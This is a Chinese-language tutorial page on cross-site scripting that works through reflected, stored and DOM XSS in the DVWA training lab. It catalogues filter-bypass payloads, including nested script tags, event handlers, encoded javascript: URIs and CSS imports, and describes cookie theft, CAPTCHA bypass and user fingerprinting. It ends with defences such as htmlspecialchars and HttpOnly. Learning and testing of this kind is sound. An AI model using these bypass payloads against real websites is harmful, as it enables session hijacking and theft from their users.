分享

XSS绕过及防御(Web漏洞及防御)

 天下小粮仓 2020-10-21
XSS绕过及防御(Web漏洞及防御)

========== 实验环境 ==========

Windows Server 2018 R2

DVWA

========== 实验环境 ==========

XSS攻击,指黑客利用网站漏洞把恶意的脚本代码(通常包括HTML代码和JS脚本)注入到网页中,当用户浏览网页时,就会执行其中的恶意代码(控制用户浏览器),对受害用户采取Cookie数据窃取会话劫持钓鱼欺骗等各种攻击。

它对Web服务器没有直接危害,借助网站进行传播,使网站的用户受到攻击。

XSS绕过及防御(Web漏洞及防御)

攻击者一般通过留言、电子邮件或其他途径向受害用户发送一个恶意的URL,当恶意URL被用户触发时,恶意脚本就会在受害者的计算机上执行。

造成XSS攻击的因素?

  1. Web浏览器的设计不安全,浏览器只执行和解析JS等脚本,不会判断数据和程序代码是否恶意。
  2. 输入和输出的交过过程中,没有做好安全防护。
  3. 团队协作开发,水平参差不齐,难免存在问题。
  4. 意识性不强
  5. 触发恶意代码的手段多样,无法做到完全防御
  6. XSS漏洞注入点多样

XSS漏洞的危害

攻击者通过注入如alert(/xss/)之类的JS代码来证明XSS漏洞的存在性,但没有真实地反映其危害性!

  1. 网络钓鱼,盗取用户账号。
  2. cookies窃取,伪造身份进行对网站的操作。
  3. 劫持用户(浏览器)会话,执行任意操作,如非法转账等。
  4. 利用JS弹出广告页面,刷流量。
  5. 网页挂马
  6. 恶意操作
  7. 客户端攻击
  8. 获取客户端信息(用户的浏览记录、IP、开放的端口)
  9. 控制受害者电脑向其他网站进行攻击
  10. 结合其他漏洞,如CSRF漏洞,实施进一步操作。
  11. 提升用户权限,渗透网站。
  12. 传播跨站脚本蠕虫

反射型XXS(非持久型XSS,一次性):主要用于将恶意脚本附加到URL地址参数中。

攻击者通过特定的手法,比如利用电子邮件,诱使用户去访问一个包含恶意代码的URL,当受害者触发时,恶意JS代码会直接在受害者主机上的浏览器执行。特点是,只在用户触发的时候,执行一次!

流程:

XSS绕过及防御(Web漏洞及防御)

通常出现在网站的搜索栏,用户登入口,用来窃取客户端Cookie或进行钓鱼欺骗。

POC

<sCr<scrscRiptipt>ipt>OonN'"<>
XSS绕过及防御(Web漏洞及防御)

过滤掉了<sCr<scrscRiptipt>OonN'"<>

DVWA

low:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

过滤掉了<sCr<scrscRiptipt>,其他没有过滤!

源码:

XSS绕过及防御(Web漏洞及防御)

构造:

<input onfocus=alert(/xss/) autofocus>

成功:

XSS绕过及防御(Web漏洞及防御)

medium:

源码:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

也只进行了<script>过滤,替换了成空!攻击手段同low一样!

<input onfocus=alert(/xss/) autofocus>
XSS绕过及防御(Web漏洞及防御)

high:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

impossible:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

结论:

使用php中的htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体

防止浏览器将其作为HTML元素!

存储型XSS:也叫持久型跨站脚本,攻击者事先将恶意JS代码上传或存储到漏洞服务器中,只要浏览包含恶意JS代码的页面就会被执行。

XSS绕过及防御(Web漏洞及防御)

持久型XSS一般出现在网站的留言、评论等交互处,恶意脚本被存储到客户端或者服务器的数据库中,当用户浏览该网页时,服务器从数据库中读取恶意用户存入的非法数据,然后显示在页面中,在受害者电脑上的浏览器执行恶意代码。它不需要用户去单击URL进行触发,可以利用它渗透网站,挂马,钓鱼......

利用此XSS还能编写XSS蠕虫,能够在网站中实现病毒的几何数级传播!XSS蠕虫会直接影响网站的所有用户,一个地方出现XSS漏洞,网站下的所有用户都有可能被攻击。

low:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)
<sCr<scrscRiptipt>ipt>OonN'"<>
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)
<script>alert(/xss/)</script>
XSS绕过及防御(Web漏洞及防御)

medium:

XSS绕过及防御(Web漏洞及防御)
<sc<script>ript>alert(/xss/)</script>
XSS绕过及防御(Web漏洞及防御)

high:

<img src=1 onerror=alert(/xss/)>
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

impossible:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)
Message: <sCr<scrscRiptipt>ipt>OonN\'\"<>

通过使用htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。

DOM型XSS:通过修改页面的DOM节点形成的XSS,并不会将payload上传到服务器,没有与服务器端进行交互,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞

可能触发DOM型XSS的属性

document.referer

window.name

location

innerHTML

documen.write

low:

查看页面源代码:

XSS绕过及防御(Web漏洞及防御)

document属于window 的一个子对象

window.location 包含 href 属性,直接取值赋值时相当于 window.location.href

window.location.href 当前页面完整 URL

document.location 包含 href 属性,直接取值赋值时相当于 document.location.href

document.location.href 当前页面完整 URL

decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码

插入的 javascript 代码可以在 decodeURL(lang) 被执行

http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?
default=English<script>alert(/xss/)</script>
XSS绕过及防御(Web漏洞及防御)

meduim:

查看服务器端源码:

XSS绕过及防御(Web漏洞及防御)

array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

header() 函数向客户端发送原始的 HTTP 报头

结论:Medium 级别过滤了 <script>

构造:

  1. 闭合前面的<option>和<select>
  2. <img src=1 onerror=alert(/xss/)>
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?
default=English</option></select><img src=1 onerror=alert(/xss/)>
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

high:

源码:

XSS绕过及防御(Web漏洞及防御)
# ok
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?
default=English #<script>alert(/xss/)</script>
XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

impossible:

XSS绕过及防御(Web漏洞及防御)
XSS绕过及防御(Web漏洞及防御)

输入的参数都进行了URL编码!

攻击:

Cookie劫持和欺骗

注意:详细过程,请参考<<Web渗透测试(XSS)>>!

防御:

Set-Cookie时给关键字Cookie植入HttpOnly标识!

Cookie与客户端的IP地址绑定!

攻击:模拟GET,POST请求操作用户的浏览器

防御:提交表单的时候要求用户输入验证码

"修改密码"的功能中,要求用户输入旧密码

绕过:

对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施(远程XSS后台接收当前的验证码),将验证码的值返回给当前的XSS Payload,从而绕过验证码。

修改密码,可以通过钓鱼网站来伪造获取旧密码!

攻击:识别用户浏览器(UserAgent对象)

但浏览器的UserAgent对象可以伪造,浏览器的好多扩展都可以自定义浏览器的UserAgent,所以获取到的信息不一定准确。但由于浏览器之间实现存在差异,通过这些差异可以准确地判断出浏览器版本。(通过代码实现)

攻击:识别用户安装的软件

IE中,通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。通过判断用户安装的软件,选择对应的浏览器漏洞,来植入木马的目的。

攻击:识别浏览器的扩展和插件

firefox的插件列表存放在一个DOM对象中,通过查询DOM对象可以遍历出所有的插件。查询navigator.plugins对象!

firefox的扩展,通过图标来判断是否存在。

通过CSS,发现用户曾经访问过的网站,style的visited属性!

获取用户的真实IP地址:

比如客户端安装了Java环境,XSS可以调用Java Applet接口来获取客户端的本地IP地址。

ActiveX

Flash

iTunes

office Word

QuickTime

...等等第三方软件的功能,来抓取用户的本地信息。

XSS Cheat Sheet:

在测试XSS的过程中,需要尝试各种XSS输入,来绕过服务器端程序对跨站脚本的过滤,如果有一份待测试的XSS语句列表会方便很多。

XSS语句列表罗列出各种各样的XSS代码,代码在不同的浏览器、不同的应用场景、不同的环境下均有跨站触发的可能。通常,此类列表被称为Cheat Sheet!

https:///web-security/cross-site-scripting/cheat-sheet
XSS绕过及防御(Web漏洞及防御)
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>

......

XSS构造:

绕过XSS-filter

XSS-filter一般基于黑白名单的安全过滤策略(拦截、编码和消毒过滤等处理),实际上是一段编写额过滤函数。

  1. <>标记注射HTML/JS

过滤和转义<>和<script>

  1. HTML标签属性值执行XSS

Javascript:[code]伪协议的形式,它声明了URL的主体是任意的JS代码,由JS的解释器运行

<img src="javascript:alert('xss');">

注:不是所有标记的属性值都能产生XSS,通常只有引用文件的属性才能触发XSS脚本

href/lowsrc/bgsound/background/value/action/dynsrc ......

过滤JavaScript等关键字

  1. 空格回车Tab
<img src="javas cript:alert(/xss/)" width=100 height=100>  // tab

JS通常以分号结尾,如果JS引擎确认一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号

var name = "tony"
var age= 18;
var name="tony wenxin";var age=18;

除了在引号中分隔单词或强制结束语句之外,额外的空白无论以何种方式添加都无所谓!

var name
="tony";
// JS引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,会继续处理发现的内容
// 直到遇到一个分号或发现语句完整为止

绕过过滤:

<img src="javas
cript:
alert(/xss/)" width=100 height=100 >
  1. 对标签属性值转码

对普通的HTML标记的属性值进行过滤,用户还是可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式。

<img src="javascript:alert(/xss/);">
<img src="javascript:alert(/xss/);">
  // t:116 t
  //:58    :

另外,tab符的ASCII码 、换行符 、回车符 可以被插入到代码中的任意位置!

  1. 事件

onerror

onclick

......

<img src="#" onerror=alert(/xss/)>
  1. CSS跨站
<div style="background-image:url(javascript:alert('/xss/'))">

对style属性进行过滤!

CSS的引入:

<link rel="stylesheet" href="http://www.baidu.com/attack.css">
<style type="text/css">@import url(http://www.baidu.com/attack.css);</style>
 // attack.css
 .executeCSS{
event:(
       onload = function(){alert(/xss/);}  
       ) 
}
@import 'javascript:alert(/xss/)';

过滤/javascript/import字符

  1. 扰乱过滤规则

大小写转换

大小写混淆

使用单引号

不使用引号

  1. 利用字符编码

利用编码工具,把字符编码为十进制或十六进制进行替换!

j  // 十进制
a // 十六进制
XSS绕过及防御(Web漏洞及防御)

JS还支持unicode、escapes、八进制等编码形式!

XSS shellcode

shellcode调用方式:

  1. 写入URL参数中
http://www.?index.php?name=[]
  1. <script>标签里
  2. src
  3. JS代码嵌入到网页中
  4. window.location.hash属性
  5. XSS downloader
  6. 存储在本地客户端中

XSS的利用

注意:具体实操在之前文章已有涉及,这里只涉及利用手段!

  1. cookie窃取
  2. XSS权限提升(劫持后台管理员的会话)
  3. 获取网站的WebShell
  4. 网络钓鱼(控制用户浏览器的行为)
  5. 网页挂马(利用JS动态的创建一个窗口,并调用网页木马!)
  6. DOS和DDOS(无限循环地执行JS代码)
  7. XSS蠕虫病毒(自我复制,在客户端执行恶意攻击!)
XSS绕过及防御(Web漏洞及防御)

XSS防御

  1. 过滤用户提交的信息

输入过滤:(输入是否合法,长度限制,格式,过滤敏感字符等等)

输出过滤:(编码处理,如HTML实体)

  1. 黑名单和白名单
  2. 定制过滤策略
  3. 安全编码规范(使用开源的防止XSS库进行编写代码!)
  4. WAF

......

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多